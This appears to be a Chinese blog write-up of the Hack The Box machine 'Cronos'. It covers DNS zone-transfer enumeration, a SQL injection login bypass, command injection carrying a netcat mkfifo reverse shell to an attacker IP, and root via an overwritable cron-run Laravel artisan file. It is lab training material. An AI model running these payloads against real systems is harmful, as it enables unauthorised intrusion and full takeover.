【Hack The Box】linux练习-- Cronos

HTB 学习笔记

【Hack The Box】linux练习-- Cronos


🔥系列专栏:Hack The Box
🎉欢迎关注🔎点赞👍收藏⭐️留言📝
📆首发时间:🌴2022年11月9日🌴
🍭作者水平很有限,如果发现错误,还望告知,感谢!

在这里插入图片描述

信息收集

22/tcp open  ssh     OpenSSH 7.2p2 Ubuntu 4ubuntu2.1 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 18b973826f26c7788f1b3988d802cee8 (RSA)
|   256 1ae606a6050bbb4192b028bf7fe5963b (ECDSA)
|_  256 1a0ee7ba00cc020104cda3a93f5e2220 (ED25519)
53/tcp open  domain  ISC BIND 9.10.3-P4 (Ubuntu Linux)
| dns-nsid: 
|_  bind.version: 9.10.3-P4-Ubuntu
80/tcp open  http    Apache httpd 2.4.18 ((Ubuntu))
|_http-title: Apache2 Ubuntu Default Page: It works
|_http-server-header: Apache/2.4.18 (Ubuntu)
No exact OS matches for host (If you know what OS is running on it, see https://nmap.org/submit/ ).

dns枚举

dns枚举方法主要有以下几点

dnsrecon -r 10.10.10.0/24 -n 10.10.10.13

得到第一个解析域名
在这里插入图片描述添加入hosts
在这里插入图片描述

两种任选一个
host -l -a cronos.htb 10.129.227.211 
dig axfr cronos.htb @10.129.227.211

在这里插入图片描述得到更多信息
继续加入hosts

在这里插入图片描述

web

三个域名都看看,只有admin开头的有用
弱口令无效
尝试sql
在这里插入图片描述

admin' or '1'='1 # 

发现可以
带一个引号可以执行命令

在这里插入图片描述找一个反弹shell的命令,用啥都行

;rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.14.63 8080 >/tmp/f
python -c 'import pty; pty.spawn("/bin/bash")'
然后拿一个伪shell

在这里插入图片描述
在这里插入图片描述接着穿一个linpeas.sh
发现飘橘的计划任务

在这里插入图片描述

          •   root    php /var/www/laravel/artisan schedule:run >> /dev/null 2>&1
            

la -la查看一下我们能不能写
在这里插入图片描述把原来的文件改个名,传个php脚本改成计划任务的名字即可
拿到root
在这里插入图片描述

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

人间体佐菲

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值